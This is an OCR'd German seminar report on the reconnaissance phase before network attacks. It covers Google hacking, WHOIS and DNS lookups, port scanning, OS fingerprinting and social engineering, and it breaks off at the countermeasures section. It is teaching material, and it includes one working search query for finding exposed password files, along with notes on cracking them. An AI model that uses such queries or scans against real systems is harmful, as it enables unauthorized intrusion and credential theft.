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Vorwort

Auch unter seinem neuen Titel erfreut sich das Seminar ,Netzsicherheit und Hackerabwehr*
grofler Beliebtheit. Dass die Sicherheit von Systemen und Netzen immer noch von gréfiter
Bedeutung ist, zeigt sich einerseits in spektakulédren Zwischenfillen, wie beispielsweise DoS-
Angriffen auf die Internetinfrastruktur von Liandern wie Estland, andererseits aber auch im
Alltag. Schliellich zeigte sich aktuell auch in der Diskussion um , Remote Forensic Software*
(populérer auch als ,Bundestrojaner® bezeichnet) ein grofies 6ffentliches Interesse an Frage-
stellungen der IT- und Netzsicherheit.

Der vorliegende Seminarband fasst in Form eines technischen Berichts Ausarbeitungen von

Studenten zusammen, die gemeinsam ein breites Themenspektrum aus der Netzsicherheit
abdecken.
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Wie werden Opfer gefunden? Fingerprinting, Google Hacking
und Co.

Tobias Utz

Diese Ausarbeitung befasst sich mit der Aufklarungsphase in Vorbereitung ei-
nes Angriffs und verschiedenen Gegenmafinahmen. Es werden verschiedene An-
greifertypen und ihre Motivation zur Opfersuche betrachtet. Desweiteren werden
verschiedene Techniken zur passiven und aktiven Aufkldrung vorgestellt. Bei der
passiven Aufkldrung oder Footprinting geht es darum, moglichst viele Informatio-
nen iiber ein potentielles Ziel zusammenzutragen ohne direkt mit dem Zielsystem
zu interagieren. Hierbei wird insbesondere die Technik des Google Hacking vor-
gestellt, bei der mit Hilfe der Google Suchmaschine diverse frei verfiighare Infor-
mationen zusammengetragen werden konnen, die dem Angreifer helfen, sich ein
Bild iiber das System des Opfers zu machen. Die aktive Aufkldrung befasst sich
mit Techniken zur Informationsgewinnung durch direkte Interaktion mit einem
System. Ziel ist es, einzelne Komponenten des Systems genauer zu profilieren.
Hierbei wird speziell auf den TCP Stack und das dadurch ermdglichte OS Finger-
printing durch Port scannen eingegangen. Abschliefend werden noch schiitzende
Gegenmafinahmen vorgestellt.

1 Einleitung

Vor einem Hackerangriff auf ein System ist es fiir einen Angreifer géngige Praxis, Aufkla-
rung zu betreiben und sich iiber das Zielsystem, sofern es schon bekannt ist, zu informieren
[PeCh04]. Dadurch kann der Angriff an das Ziel angepasst und auf evtl. vorhandene Schwach-
stellen ausgerichtet werden, um iiberhaupt effektiv zu sein. Je nach Ziel und Motivation der
Angreifer werden verschiedenartige Systeme angegriffen. Das Spektrum dieser Zielsysteme
reicht von ahnungslosen Surfern iiber Webseiten und -server bis hin zu Unternehmen und
Regierungsbehorden. Die Aufklarungsphase - die Phase vor dem eigentlichen Angriff, in der
ein System ausgekundschaftet wird - lidsst sich in passive Aufkidrung und aktive Aufklirung
unterteilen. Unter passiver Aufkldrung versteht man das Sammeln von Informationen ohne
direkten Kontakt mit dem Zielsystem. Dahingegen wird bei der aktiven Aufklirung versucht,
durch direkte Interaktion mit dem Zielsystem Informationen zu sammeln. Bei der passiven
Aufklarung, oder Footprinting, suchen die Angreifer Informationen iiber das gesamte Zielsys-
tem. Es wird also versucht, einen groben “Fuflabdruck” zu erstellen. Gesuchte Informationen
sind z.B. eingesetzte Hardware, IP-Adress-Bereiche, IP-Adressen von einzelnen Rechnern oder
auch Informationen iiber Mitarbeiter eines Unternehmens. Die aktive Aufkldrung, oder Fin-
gerprinting, versucht, einzelne Bestandteile eines Systems zu profilieren. So werden einzelne
Rechner ausgekundschaftet, um Schwachstellen wie offene Ports zu finden. Die Angreifer er-
stellen also einen “Fingerabdruck” von einzelnen Systemkomponenten und versuchen somit
mogliche Einfalltore zu entdecken.

Ziel dieser Seminararbeit ist es, die bei den Angriffsvorbereitungen eingesetzten Techniken
vorzustellen und entsprechende Gegenmafinahmen aufzuzeigen. Dazu werden zuerst die ver-
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schiedenen Angreifertypen und ihre Motivation fiir einen Angriff und die potentielle Zielaus-
wahl betrachtet. Anschliefend wird die Aufkldrungsphase mit den bei passiver und aktiver
Aufkldrung jeweils angewandten Techniken im Detail vorgestellt. Abschliefend werden Ge-
genmafinahmen aufgezeigt, wobei sowohl auf allgemeine Mafinahmen, als auch auf solche, die
speziell auf die hier vorgestellten Aufklédrungstechniken zugeschnitten sind, eingegangen wird.

2 Angreifertypen

Da sich Angreifer in ihrer Motivation und ihren technischen Fahigkeiten unterscheiden, greifen
unterschiedliche Angreifertypen verschiedene Arten von Systemen an und verfolgen andere
Angriffsabsichten. Nach [Roge00] lassen sich Angreifer in sieben Typen unterteilen. Diese
sollen im Folgenden kurz vorgestellt werden.

e Newbie

Mitglieder dieser Gruppe sind meist neu im Bereich Hacking und besitzen nur grundle-
gende Kenntnisse im Bereich der Computer- und Netzwerksicherheit. Daher benutzen
sie fiir ihre Angriffe vorprogrammierte Software Tool Kits. Diese Software Tool Kits
sind im Internet weit verbreitet und leicht zu finden. Ihre Angriffe beschrinken sich
also auf Systeme, fiir die schon fertige Tool Kits existieren.

e Cyber-Punks

Cyber-Punks besitzen fortgeschrittene Software-, Programmier- und Systemkenntnisse.
Sie verfolgen durchaus kriminelle Absichten. Cyber-Punks greifen Webserver an, um
Webseiten umzugestalten (Defacing), und sind oft im Bereich Spam-Versand und Kre-
ditkartenbetrug aktiv.

e Internals

Die Gruppe der Internals besteht aus ehemaligen und unzufriedenen Angestellten. Sie
sind in der Regel technisch versiert und kénnen Angriffe aufgrund ihrer ehemaligen
oder momentanen beruflichen Funktion und Verantwortung durchfiihren. Thre Angrif-
fe richten sich gegen ihre ehemaligen oder momentanen Arbeitgeber, da sie dort ihre
Kenntnisse der Systeme einsetzen konnen.

e Coders

Diese Gruppe besitzt umfangreiche technische Kenntnisse und ist in der Lage, Sicher-
heitsliicken auszunutzen und sogenannte Exploits zu programmieren.

e Old Guard Hackers

Diese Gruppe verfolgt nicht unbedingt kriminelle Absichten, sondern orientiert sich an
der Hackerethik der ersten Hackergeneration. Laut [RaymO03] ist Hackerethik definiert
als der Glaube daran, dass Informationen frei verfiigbar sein sollten, und der Glaube,
dass Angriffe auf Computersysteme ethisch vertretbar sind, solange dabei keine krimi-
nellen Absichten verfolgt werden, sondern die Angriffe aus Spafl und Entdeckerfreu-
de durchgefiithrt werden. Rechtlich gesehen sind Angriffe auf Computersysteme ethisch
nicht vertretbar und somit strafbar.

e Professional Criminals und Cyber-Terrorists

Diese Gruppen bestehen aus professionellen Kriminellen und ehemaligen Geheimagen-
ten, welche gut ausgebildet und ausgestattet sind. Sie betédtigen sich hauptsichlich im
Bereich der Industriespionage und ihre Angriffsziele sind somit hauptséichlich Firmen-
netze. Uber diese Gruppe ist nur wenig bekannt und sie gelten als sehr geféihrlich.
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Trotz der Unterschiede in Bezug auf Zielauswahl, technischen Fahigkeiten und der Motivati-
on fiir Angriffe, benotigen alle Angreifertypen vor einem Angriff detaillierte Kenntnisse des
Zielsystems. Somit muss vor jedem Angriff Aufklirung betrieben und es miissen Informatio-
nen gesammelt werden. Die bei der Aufklirung eingesetzten Techniken werden im folgenden
Abschnitt vorgestellt.

3 Aufklarung

Aufkldrung bezeichnet im Rahmen des Themenfeldes des Seminars die Informationsbeschaf-
fung und -auswertung vor einem Angriff. Fiir einen Angreifer ist es notwendig, vor dem
eigentlichen Angriff ein Ziel auszuwihlen und dieses auch auszukundschaften. Einen ersten
Findruck des Ziels und der eingesetzten Teilsysteme, also der einzelnen Rechner, verschafft
sich ein Angreifer mittels passiver Aufkldrung. Nach Auswerten dieser Informationen findet
er meist ein System, das er nun eingehender untersucht, um Schwachstellen zu finden. Mit
Hilfe der aktiven Aufklarung ist es nun moglich, solche konkreten Ziele genauer zu profilie-
ren und einen Angriff auf die eingesetzte Software anzupassen. Aufkldrung wird bei einem
Hackerangriff also eingesetzt, um die Erfolgschancen des Angriffs zu erhéhen.

3.1 Passive Aufkldrung/Footprinting

In die Kategorie passive Aufklirung/Footprinting gehdren Techniken, mit denen sich Informa-
tionen iiber ein Ziel zusammentragen lassen, ohne direkt mit dem Zielsystem zu interagieren.
Durch das Benutzen von “dritten” Quellen zur Informationsgewinnung werden keine Spuren
des Angreifers, etwa in Form von IP-Adressen in Server-Log-Eintrigen, auf dem Zielsystem
hinterlassen. Die M6glichkeiten des Footprinting umfassen u.a. das Untersuchen der Unterneh-
menswebsite, ggf. iiber einen Proxy, um die eigene Identitdt und IP-Adresse zu verschleiern,
die Abfrage von offentlichen Datenbanken z.B. mittels WHOIS-Protokoll, die Abfrage von
DNS Servern und das Benutzen von Suchmaschinen zum Auffinden weiterer Informationen
im Web. Diese Techniken werden nun im Einzelnen vorgestellt.

3.1.1 Aligemeine Recherche

Allgemeine Informationen iiber ein Ziel kénnen mit einer allgemeinen Recherche mittels Such-
maschinen, Webseiten oder Nachrichten gefunden werden. Wichtige Informationen iiber die
im Zielsystem eingesetzte Technologie kann das Studium von Stellenangeboten liefern, da sich
etwa aus den Anforderungen an Netzwerkspezialisten auf eingesetzte Produkte schlieflen ldsst.
Fiir einen Angreifer kann es zudem wichtig sein, die personlichen Webseiten von Mitarbeitern
(falls vorhanden) zu untersuchen und Instant Messaging Benutzernamen, Emailadressen und
Telefonnummern zu sammeln. Generell gilt, dass jede Information iiber das Ziel bei einem
Angriff niitzlich sein kann und daher, zumindest in der Aufklirungsphase, wichtig ist und
gesammelt werden sollte.

3.1.2 Google Hacking

Google Hacking bezeichnet eine Technik, die die sogenannten “erweiterten” Operatoren von
Suchmaschinen nutzt, um Informationen im Web zu finden, die ein Angreifer fiir einen An-
griff ausnutzen kann. [Long05] Mit dieser Technik kénnen alle Dateien und Informationen
gefunden werden, die sich auf einem Webserver befinden und von den Webcrawlern der Such-
maschinen indiziert wurden. Dazu gehoren Verzeichnislisten von Servern, die genaue Version
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der eingesetzten Serversoftware, Informationen iiber das Intranet einer Firma oder person-
liche Informationen iiber Mitarbeiter. Google Hacking nutzt also aus, dass private oder si-
cherheitsrelevante Informationen meist unbeabsichtigt auf Servern preisgegeben wurden, und
die Crawler der Suchmaschinen diese Informationen indiziert haben und sie somit iiber eine
Suchanfrage verfiigbar sind. Weitere mogliche Google Hacking Suchanfragen finden Domains
einer Firma, Sicherheitsliicken und zugehorige Exploits, zu bestimmten Exploits passende
Ziele, Benutzernamen, Passworter oder Quellcode.

Die folgenden Operatoren stellen eine Auswahl der bei Google Hacking Suchanfragen einge-
setzten Operatoren dar [Goog):

e intitle: beschrénkt die Ergebnisse auf Dokumente, die den direkt folgenden Ausdruck
im Titel enthalten

e inurl: beschrinkt die Ergebnisse auf Dokumente, die den direkt folgenden Ausdruck in
der URL enthalten

e filetype: beschrinkt die Ergebnisse auf Dokumente mit der entsprechenden Dateien-
dung. Zusétzlich muss aber noch ein gewiinschter Suchbegriff angegeben werden.

e site: beschrankt die Ergebnisse auf Dokumente in der angegebenen Domain

Diese Operatoren lassen sich nun fast beliebig zu Suchanfragen kombinieren und kénnen eine
Menge an sicherheitsrelevanten Daten zu Tage fordern. Als Beispiel hier nun eine Suchan-
frage aus der Google Hacking Datenbank [Long07], in der viele Google Anfragen aus dem
Netzwerksicherheitsbereich aufgezeichnet sind.

__ipti_ll_e_ Index of "'pel_j_p_la._l_g'l!' = q'pq_g!e Suche - “u_ K

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras
- - I&' | http: //www.google. com/search?hl=de&g=intitle%: 34%22In¢ | 'l |v|
Anmelden [4]
Web Bilder Groups MNews Produkte Maps Mehr»
GO(‘)S]Q lintitle:"Index of' "people. Ist" E
* Web-Suche ¢ Suche Seiten auf Deutsch
Web Ergebnisse 1 - 10 von ungefahr 213 fir intitle:"Index of” "people.lst”. (0,06 Sekunden)
Index of /etc/passwd - [ Diese Seite Ubersetzen |
people.lst 31-Jul-2003 12:55 16k [TXT] perl 31-Jul-2003 12:55 471k [TXT] print.cgi
31-Jul-2003 12:55 10k [TXT] pwd.dat 31-Jul-2003 12:55 2k [TXT] ...
fetcipasswd/ - Ahnliche Seiten
Index of /etc/passwd - [ Diese Seite (hersetzen |
people.lst 03-Mar-2004 09:55 16k [TXT] print.cgi 03-Mar-2004 03:55 10k [TXT] pwd.dat
03-Mar-2004 09:55 2k [TXT] pwd.db 03-Mar-2004 03:55 78k [TXT] ...
fetci/passwd/ - Ahnliche Seiten I
(4] [
| Fertig & B oss0s |§)

Abbildung 1: Ein Google Suchanfrage zur Suche nach Passwortern (Anonymisierter Aus-
schnitt)

Die gezeigte Suchanfrage in Abbildung [1 nutzt die Indizierung der Verzeichnislisten eines
Servers durch Google aus. Es wird nach dem Begriff people.lst, einer generischen Passwort-
datei, gesucht und der Titel der Dokumente soll die Pfadangabe zum /etc/passwd Ordner
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enthalten. Wenn also die Berechtigungen auf dem Server nicht richtig gesetzt sind, und die
Google-Crawler den Inhalt des Ordners /etc/passwd lesen kénnen, kann ein Angreifer mit
dieser Suche Passwortdateien finden. Der Angreifer kann dann versuchen, die gefundenen
Passwortdateien, die in der Regel verschliisselt sind, mittels eines Worterbuchangriffs zu ent-
schliisseln und sich mit den entschliisselten Passwortern Zugang zu dem entdeckten System zu
verschaffen. Eine weitere Moglichkeit fiir den Angreifer ist es, die entschliisselten Passworter
seinem Worterbuch fiir weitere Angriffe hinzuzufiigen.

3.1.3 DNS

Das Domain Name System ist eine hierarchisch aufgebaute, verteilte Datenbank, die einem
Domainnamen eine oder mehrere IP-Adressen zuordnet. Normalerweise wird diese IP-Adresse
vor dem Nutzer verborgen, jedoch kann sie explizit abgefragt werden und somit als Startpunkt
fiir weitere Recherchen beziiglich des IP-Adress-Bereichs einer Organisation oder fiir WHOIS-
Abfragen genutzt werden. [Mock87]

3.1.4 WHOIS-Abfragen

Das NICNAME/WHOIS Protokoll wird benutzt um verteilte Datenbanken abzufragen, die
ein Verzeichnis der registrierten Domains und IP-Adressen bereitstellen. Urspriinglich war im
Standard [HaSF85| nur eine zentrale Datenbank auf einem zentralen Server vorgesehen, als alle
Domains zentral vom Network Information Center verwaltet wurden. Mit dem Wachstum des
Internets wurde der Standard aktualisiert und es wurde auf ein verteiltes Datenbank-System
umgestellt. [Daig04] Ebenso wurde die Verwaltung der verschiedenen Top-Level-Domains an
mehrere Registrare iibertragen, die jeweils eine eigene WHOIS-Datenbank pflegen. WHOIS-
Abfragen sind mit verschiedenen Tools oder iiber Web-Interfaces moglich. Fiir die Vergabe
und Verwaltung der .de-Domains ist die DENIC (Deutsches Network Information Center)
zusténdig, deren Datenbank bei einer WHOIS-Abfrage einer Domain folgende Informationen

liefert [DENIOT7]:

e Holder

Dies ist der Domaininhaber, der Vertragspartner der DENIC ist und materielle Ansprii-
che auf diese Domain hat.

e Admin-C

Dies ist der administrative Ansprechpartner, der vom Domaininhaber benannte wurde
und gegeniiber der DENIC verpflichtet ist, die Domain betreffende Angelegenheiten
verbindlich zu entscheiden. Dies ist wichtig, wenn der Domaininhaber keine Person,
sondern eine Firma oder Organisation ist.

e Tech-C

Dies ist der technische Betreuer der Domain, bei Privatpersonen mit gemietetem Web-
space in der Regel ein Provider. Diese Provider vermieten Webspace und betreiben
Nameserver fiir Domains, die auf ihrem Webspace hinterlegt sind, was fiir Privatperso-
nen einen hohen Aufwand bedeuten wiirde.

e Zone-C

Der Zonenverwalter ist der technische Betreuer der eingetragenen Nameserver der Do-
main, der fiir die Erreichbarkeit der Nameserver zustéindig ist. Bei Privatpersonen ist
dies meist derselbe Provider, der auch Tech-C ist.
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Zu jedem dieser Eintrige werden Name, Organisation, Adresse, Postleitzahl, Stadt, Land und
Zeitstempel der letzten Anderungen ausgegeben. Optional fiir Holder und Admin-C, jedoch
immer bei Tech-C und Zone-C werden Telefonnummer, Fax und Email-Adresse ausgegeben.
Desweiteren werden technische Informationen wie das Ablaufdatum der Domain und mindes-
tens zwei Nameserver fiir jede Domain ausgegeben. Ein anonymisiertes Beispiel findet sich in
Abbildung 2!

Der Angreifer kann die angegebenen Nameserver nun als Ausgangspunkt fiir intensivere Re-
cherchen nutzen. Die angegebenen Kontaktdaten fiir den Admin kénnen Angreifer fiir Social
Engineering (Abschnitt[3.3.1) nutzen, und das angegebene Ablaufdatum der Domain ist wich-
tig fiir Domain-Hijacking, die feindliche Ubernahme einer Domain vom rechtméBigen Besitzer
nach dem Ablaufdatum.

Datei Bearbeiten Ansicht Terminal Reiter Hilfe
Domain: tobiasutz.de (=]
Domain-Ace: tobiasutz.de

Nserver: nsl.provider.de

Nserver: ns2,provider.de

Status: connect

Changed: 2007-05-31T01: 01 43+02: 00
[Holder]

Type: FERSON

Wame : Tobias Utz

Address: Musterstrake 123

Pcode: 12345

City: Musterstadt

Country: DE

Changed: 2007-05-31T01:01:42402: 00
[Admin-C]

Type: PERSON

Name : Tobias Utz

Address; Musterstrake 123

Pcode: 12345

City: Musterstadt

Country: DE

Changed: 2007-05-31T01:01:42402: 00
[Tech-C]

Type: ROLE

Mame ; Hostmaster Provider
Organisation: Provider

Address: Musterstrake 124

Pcode: 12345

City: Musterstadt

Country: DE

Phone:: +49,1234567

Fax: +49,1234568

Email: hostmaster@provider.de
Changed: 2007-02-01T16:22:17+01:00
[Zone-C]

Type: ROLE

Wame : Hostmaster Provider
Organisation: Provider =4
Address; Musterstrake 124

Pcode: 12345

City: Musterstadt

Country: DE B2

Abbildung 2: Eine WHOIS-Abfrage der Domain tobiasutz.de (Anonymisiert)

Das WHOIS-Protokoll liasst sich auch benutzen, um den IP-Adress-Bereich, aus dem eine TP-
Adresse stammt, abzufragen [PeCh04]. Diese IP-Adress-Bereiche werden von den Regional In-
ternet Registries (RIR) vergeben. Fiir die Vergabe von IP-Adress-Bereichen ist in Europa das
Réseaux IP Européens Network Coordination Centre (RIPE NCC) zusténdig [NCCO07]. Wird
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eine WHOIS-Abfrage mit einer IP-Adresse als Parameter ausgefiihrt, wird die Datenbank
des zustéindigen RIR abgefragt und Informationen iiber den Halter der IP-Adresse und den
dem Halter zugeordneten IP-Adress-Bereich ausgegeben. Diese Information ist sehr niitzlich
fiir aktive Aufkldrung, da nun bestimmte IP-Adressen auf aktive Systeme, also angeschaltete
Rechner, die auf Anfragen von auflen reagieren, untersucht werden kénnen.

3.2 Aktive Aufklarung

Aktive Aufkldrung bezeichnet Techniken, bei denen direkt mit dem Zielsystem interagiert
wird, um weitere Informationen iiber das Zielsystem zu sammeln. Beispiele sind Port Scan-
ning, um offene Ports bei einem Server zu finden, und OS Fingerprinting, um das laufende
Betriebssystem des Servers zu identifizieren. Diese Techniken werden auf Server angewendet,
die durch passive Aufklirung entdeckt wurden. Die dann gefundenen Informationen iiber die
Systeme ermdoglichen wiederum besser angepasste und somit potentiell erfolgreichere Angriffe.

3.2.1 Ping Sweeps

Durch Network Ping Sweeps lassen sich aktive Systeme - also Rechner, die angeschaltet sind
und auf eine Ping Anforderung antworten - in einem Netzwerk finden, indem gleich ganze
IP-Adress-Bereiche untersucht werden. Der Ping-Vorgang selbst ist mittels Internet Control
Message Protocol (ICMP) realisiert und schickt ICMP Echo Request Pakete aus. Ist ein
System aktiv, so antwortet es mit einem ICMP Echo Reply Paket. [CoDG06] Hat ein Angreifer
durch Ping Sweeps auf einem IP-Adress-Bereich eine Liste von aktiven Systemen gefunden,
konnen diese weiter untersucht werden.

3.2.2 Port Scanning

Hat ein Angreifer aktive Systeme gefunden, so kann er an diesen einen Port Scan durchfiihren,
mit dem Ziel offene Ports zu finden. Offene Ports sind Ports, an denen Anwendungen auf
eingehende Verbindungen warten und Verbindungen akzeptieren. Ein Port Scanner schickt
TCP- oder UDP-Pakete an einen Port-Bereich und kann aus den Antworten auf den Status
dieser Ports schlieffen. Die Antworten auf Pakete mit bestimmten gesetzten Flags sind geméf

Info81b] standardisiert. Einige bekannte Scantypen sind [McSK99]:

e TCP Connect Scan
Bei diesem Scan wird eine TCP Verbindung mit dem 3-Wege-Handshake (SYN, SYN/

ACK, ACK) zum Ziel-Port aufgebaut. Ist dies erfolgreich, lidsst sich daraus schliefien,
dass an diesem Port ein Dienst lduft und Verbindungen akzeptiert.

e TCP SYN Scan

Hier wird keine Verbindung aufgebaut, sondern nur ein SYN Paket an den Ziel-Port
geschickt. Antwortet das System mit SYN/ACK, so ist dieser Port offen. Kommt hin-
gegen ein RST/ACK zuriick, so lauscht das System nicht an diesem Port. Da keine
Verbindung aufgebaut wird, taucht dieser Scan nicht als Verbindung oder Verbindungs-
versuch in den Server-Logs auf. Dadurch bleibt die IP-Adresse des Angreifers und der
Scanversuch unentdeckt.

e TCP FIN Scan/TCP Xmas Tree Scan/TCP Null Scan

Bei diesen Scans werden das FIN-Flag/FIN-, URG- und PSH-Flag/keine Flags gesetzt.
Bei geschlossenen Ports erhéilt man ein RST als Antwort, offene Ports ignorieren diese
Pakete und antworten nicht.
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e UDP Scan

Es wird ein leeres UDP-Paket an den Ziel-Port geschickt. Erhédlt man die Antwort ICMP
Port unreachable, so ist der Port geschlossen, erhélt man keine Antwort, ist er offen.

Anhand der offenen Ports eines Systems kann ein Angreifer laufende Anwendungen identifi-
zieren, die Verbindungen akzeptieren. Durch diese Information kann der Angreifer erkennen
welche Funktion das System ausiibt, so ist bei einem Webserver meist der Port 80 fiir HT'TP
und bei einem Mailserver die Ports 25 und 587 fiir SMTP getffnet. Mittels diesem Wissen
kann der Angreifer entscheiden, ob er diesen Server als Ziel auswahlt, und seinen Angriff auf
die vorhandenen Anwendungen anpassen.

3.2.3 OS Fingerprinting

Beim OS Fingerprinting werden TCP /IP-Pakete mit bestimmten Flags an ein Ziel geschickt
und die Antworten analysiert, so dass durch einen Abgleich mit einer Datenbank auf das
verwendete Betriebssystem geschlossen werden kann. Die Datenbank enthélt die Reaktionen
von verschiedenen Betriebssystemen auf diese TCP/IP-Pakete, die versuchsweise ermittelt
wurden. OS Fingerprinting nutzt den TCP/IP-Stack aus, die charakteristische TCP /IP-
Implementierung, die sich von Betriebssystem zu Betriebssystem unterscheidet. [PeCh04]
Anhand der Reaktion eines Systems auf eine Reihe von Anfragen kann ein “Fingerabdruck”
erstellt werden. Die beim Fingerprinting eingesetzten Anfragetyped1 lassen sich nach den
benutzten Pakettypen gliedern [Fyod98]:

TCP-Anfragen:

Bei diesen Anfragen werden TCP-Pakete eingesetzt. Die Pakete enthalten verschiedene ge-
setzte Flags und die Reaktionen des Zielsystems auf diese Flags werden analysiert.

e FIN Probe

Es wird ein Paket mit gesetztem FIN-Flag an einen offenen Port gesendet. Die korrekte
Antwort wire es, nicht zu antworten, aber viele Implementierungen senden ein RST
zuriick. FIN Probe ist d&hnlich zum TCP FIN Scan, der jedoch davon ausgeht, dass nur
geschlossene Ports ein RST zuriicksenden. Die FIN Probe liefert also nur Informationen
iiber eine Implementierung, wenn man aufgrund eines anderen Scans mit Sicherheit
sagen kann, dass der angefragte Port offen ist.

e TCP ISN Sampling

Hier wird versucht die Initial Sequence Number der TCP Implementierung beim Ver-
bindungsrequest festzustellen. Je nach Betriebssystem werden hierbei unterschiedliche
Verfahren eingesetzt. Altere Unix Systeme erhchen in 64k Schritten, neuere erhhen
zufiillig, Linux Systeme wéhlen zufillige Nummern und Microsoft benutzt ein zeitab-
héngiges Verfahren, bei dem die ISN in jeder Zeiteinheit um einen festen Betrag erhoht
wird.

e TCP Timestamp

Hier wird der Wert der TCP Timestamp Option, ein Feld mit der aktuellen Zeit des Sen-
ders, untersucht. Manche Implementierungen unterstiitzen die Option nicht, wihrend
andere den Wert in festen Zeitintervallen erhchen.

'Ein Tool, das viele dieser Anfragen einsetzt ist nmap. http://www.insecure.org
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e TCP Options

Hier werden in den versendeten Paketen bestimmte TCP Optionen benutzt. Je nachdem
ob diese auch in der Antwort enthalten sind, kann man erkennen, welche Optionen
unterstiitzt werden und somit auf die Implementierung schlieflen. In einem Paket kénnen
mehrere Optionen gesetzt werden und somit gleichzeitig getestet werden.

e TCP Initial Window

TCP Initial Window iiberpriift die gesetzte Fenstergrofle bei zuriickgesendeten Paketen.
Die Fenstergrofle ist teilweise eindeutig einer Implementierung zuzuordnen.

e ACK Value

Die ACK Flag wird jeweils als Antwort auf ein FIN/URG/PSH gesetzt und das Ack-
nowledgement Number Feld enthélt je nach Implementierung eine andere Nummer. Die
meisten Systeme setzen als Antwort auf eine FIN/PSH/URG Anfrage die Initial Se-
quence Number (ISN) des eingegangen Pakets als Acknowledgement Number, manche
Implementierungen erhéhen die ISN um 1.

ICMP-Anfragen:

ICMP-Anfragen sind Anfragen mittels des ICMP-Protokolls. Das ICMP-Protokoll wird zum
Austausch von Fehler- und Kontrollnachrichten eingesetzt.

e ICMP Error Message Quenching

Einige Betriebssysteme limitieren die Senderate fiir Fehlerbenachrichtigungen. Getestet
wird dies, indem mehrere Pakete an einen zufilligen hohen UDP Port gesendet wer-
den, der geschlossen ist. Dies provoziert ICMP Destination Unreachable Fehlerbenach-
richtigungen. Anhand der Eingangsrate der Fehlerbenachrichtigungen des gescannten
Systems kann die Implementierung dann identifiziert werden.

e [CMP Message Quoting

Bei einer ICMP Fehlerbenachrichtigung wird ein Teil des fehlerverursachenden Pakets
wieder zuriickgesandt. Die Implementierungen unterscheiden sich hier in der Menge der
mitgesendeten Daten. Fast alle Systeme senden den IP-Header und acht Bytes zuriick,
Solaris- und Linux-Betriebssysteme senden ein Bit bzw. noch mehr Daten mit zuriick.

e ICMP Error Message Echoing Integrity

Diese Methode funktioniert wie ICMP Message Quoting, auch hier werden die ICMP
Fehlerbenachrichtigungen untersucht. Hier werden speziell das Headerfeld und die Priif-
summe analysiert.

e Type of Service

Das Type of Service Feld in der ICMP Fehlerbenachrichtigung ICMP Port Unreachable
ist standardméfBig auf 0 gesetzt. Manche Implementierungen weichen in diesem Punkt
jedoch ab.

IP-Anfragen:

Bei IP-Anfragen werden Felder des IP-Headers [Info81a] und spezielle Eigenschaften der je-
weiligen Implementierung im Bezug auf Fragmentierung untersucht.
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e [PID Sampling

Hier wird das IP Identification Feld analysiert. Das Identification Feld im IP-Header
enthélt eine Nummer, die hilft, fragmentierte Teile eines Datagramms korrekt zu re-
assemblieren. Die meisten Betriebssysteme erhohen die IP ID mit jedem versendeten
Paket um 1, wihrend andere die ID zufillig wihlen oder nur in festen Schritten grofler
als 1 erhohen.

e Don’t Fragment Bit

Das Don’t Fragment Bit im IP-Header verbietet das Fragmentieren des Datagramms.
Einige Systeme setzen dieses Bit in bestimmten Féllen, wihrend andere es gar nicht
setzen, so dass das jeweilige Verhalten helfen kann, die Implementierung zu identifizie-
ren.

e Fragmentation Handling

Diese Technik untersucht die Reassemblierung von fragmentierten IP-Paketen. Im spe-
ziellen wird hier die Reassemblierung von iiberlappenden Fragmenten beobachtet. Je
nach Implementierung besitzt der &dltere oder der neuere tiberlappende Teil Giiltigkeit.

Passives OS Fingerprinting, eine Variante des vorgestellten OS Fingerprinting, schickt nicht
aktiv Pakete aus, sondern beobachtet eingehende Pakete. Ein Angreifer kann passives OS
Fingerprinting nutzen, indem er eine Verbindung zu einem Server aufbaut, eine Anfrage an
den Server stellt und die vom Server gesendeten Pakete untersucht. Da sich die TCP/IP Im-
plementierungen unterscheiden, lassen sich durch die Beobachtung und Analyse der folgenden
Felder Betriebssysteme identifizieren [PeCh04]:

e TTL-Startwert (8 bit) (IP-Header)

e Fenstergrofie (16 bit) (TCP-Header)

e Maximale SegmentgroBe (16 bit) (TCP-Header)

e “Don’t Fragment”-Flag (1 bit) (IP-Header)

e sackOK-Option (1 bit) (TCP-Header)

e nop-Option (1 bit) (IP-Header)

e Window-Scaling-Option (8 bit) (TCP-Header)

o Start-Paketgrofie (16 bit) (TCP-Header)
Diese Felder ergeben zusammen eine 67 bit lange Signatur, die mit einer Datenbank abge-

glichen werden. Da nur die eingehenden Pakete untersucht werden, ist die Untersuchung fiir
den Quell-Host nicht ersichtlich.?

3.3 Mischformen

Einige Techniken sind sowohl der passiven, ohne direkte Interaktion mit dem Ziel, als auch
der aktiven Aufkldrung, durch direkte Interaktion mit dem Ziel, zuzuordnen oder sowohl bei
der Aufkldarung und beim Angriff einsetzbar. Die bekannteste dieser Mischformen ist Social
Engineering.

*Ein Tool zum passiven Fingerprinting ist pOf. http://lcamtuf.coredump.cx/pOf.shtml
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3.3.1 Social Engineering

Social Engineering ist die Kunst, einen Menschen so zu manipulieren, dass er im Sinne des
Angreifers handelt. [PeCh04] Es wird in der Regel eingesetzt, um

physikalischen Zugriff auf geschiitzte Ressourcen zu erhalten,

Berechtigungen fiir den entfernten Zugriff zu erhalten,

an geschiitzte Informationen zu gelangen,

andere Sicherheitskontrollen zu verletzen.

Wird Social Engineering in direkter Interaktion mit z.B. Mitarbeitern der Zielfirma eingesetzt,
um an Informationen zu gelangen, kann man es der aktiven Aufklérung zurechnen. Interagiert
der Angreifer nicht direkt mit den Mitarbeitern, sondern belauscht z.B. ein Gespriiche zweier
Mitarbeiter, so ist dies der passiven Aufklarung zuzuordnen. Im Rahmen eines Angriffs kann
Social Engineering z.B. eingesetzt werden, um dem Angreifer Zugang zu einem geschiitzten
Sicherheitsbereich zu ermoglichen.

Einige der angewandten Methoden sind betriigerisches Auftreten, Schmeichelei, Einsatz von
(vorgetduschter) Autoritdt oder Ausnutzung von Stolz. Beim Einsatz von Social Engineering
ist es fiir den Angreifer wichtig, glaubhaft seine Rolle zu verkoérpern, was nur durch ausrei-
chende Informationen aus der Aufklarungsphase sichergestellt ist. Social Engineering ist keine
technische Methode, sondern nutzt psychologische Eigenschaften des Menschen, wie die An-
erkennung von Autoritit oder Eitelkeit, aus. Die Anwendung von Social Engineering ist iiber
viele Kommunikationsmittel moglich, sei es personlich, per Telefon, Email oder Instant Mes-
saging, weshalb dem Sammeln von Kontaktdaten jeglicher Art wihrend der Aufklarungsphase

eine hohe Bedeutung zukommt. [PeCh04]

4 GegenmalBnahmen

In diesem Abschnitt werden nun einige Gegenmafinahmen fiir den Einsatz gegen die zuvor
besprochenen Aufklarungstechniken diskutiert. Zuerst werden einige allgemeine Gegenmaf3-
